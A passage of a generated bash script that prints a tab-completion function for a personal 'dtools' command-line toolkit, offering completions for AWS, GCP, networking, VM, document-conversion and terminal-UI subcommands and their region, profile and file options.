1)); then' + echo $' used=("${COMP_WORDS[@]:1:$((COMP_CWORD - 1))}")' + echo $' fi' + echo $'' + echo $' if [[ "${cur:0:1}" == "-" ]]; then' + echo $' # Completing an option: offer everything (including options)' + echo $' echo "$words"' + echo $'' + echo $' else' + echo $' # Completing a non-option: offer only non-options,' + echo $' # and don\'t re-offer ones already used earlier in the line.' + echo $' for word in $words; do' + echo $' [[ "${word:0:1}" == "-" ]] && continue' + echo $'' + echo $' local seen=0' + echo $' for u in "${used[@]}"; do' + echo $' if [[ "$u" == "$word" ]]; then' + echo $' seen=1' + echo $' break' + echo $' fi' + echo $' done' + echo $' ((!seen)) && result+=("$word")' + echo $' done' + echo $'' + echo $' echo "${result[*]}"' + echo $' fi' + echo $'}' + echo $'' + echo $'_dtools_completions() {' + echo $' local cur=${COMP_WORDS[COMP_CWORD]}' + echo $' local compwords=()' + echo $' if ((COMP_CWORD > 0)); then' + echo $' compwords=("${COMP_WORDS[@]:1:$((COMP_CWORD - 1))}")' + echo $' fi' + echo $' local compline="${compwords[*]}"' + echo $'' + echo $' COMPREPLY=()' + echo $'' + echo $' case "$compline" in' + echo $' \'network generate-self-signed-certificate\'*\'--pfx-output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network generate-self-signed-certificate\'*\'--key-output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network generate-self-signed-certificate\'*\'--output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network proxy-with-nginx\'*\'--proxy-target-protocol\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "http https")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*\'--default-cli-region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network generate-self-signed-certificate\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hostname --key-output --output --pfx-output -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*\'--sso-region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network https-proxy\'*\'--ssl-certificate\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development multi-host-log-viewer\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hostname --ngrok-auth-token --ngrok-url --port --profile --region --subnet-id -a -h -p -r -u")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring network-diags\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db postgres\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.db/postgres/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring socket-stats\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm windows\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/windows/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document decrypt-pdf\'*\'--output-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring ip-traffic\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring netscanner\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network http-request-client-2\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui docker docker-layer-analyzer\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm linux\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/linux/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document convert\'*\'--target-format\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ansi asciidoc asciidoc_legacy asciidoctor beamer bibtex biblatex chunkedhtml commonmark commonmark_x context csljson djot docbook docbook5 docx dokuwiki epub epub2 fb2 gfm haddock html html4 icml ipynb jats_archiving jats_articleauthoring jats_publishing jats jira json latex man markdown markdown_mmd markdown_phpextra markdown_strict markua mediawiki ms muse native odt opml opendocument org pdf plain pptx rst rtf texinfo textile slideous slidy dzslides revealjs s5 tei typst xwiki zimwiki")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document convert\'*\'--source-format\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "bibtex biblatex bits commonmark commonmark_x creole csljson csv tsv djot docbook docx dokuwiki endnotexml epub fb2 gfm haddock html ipynb jats jira json latex markdown 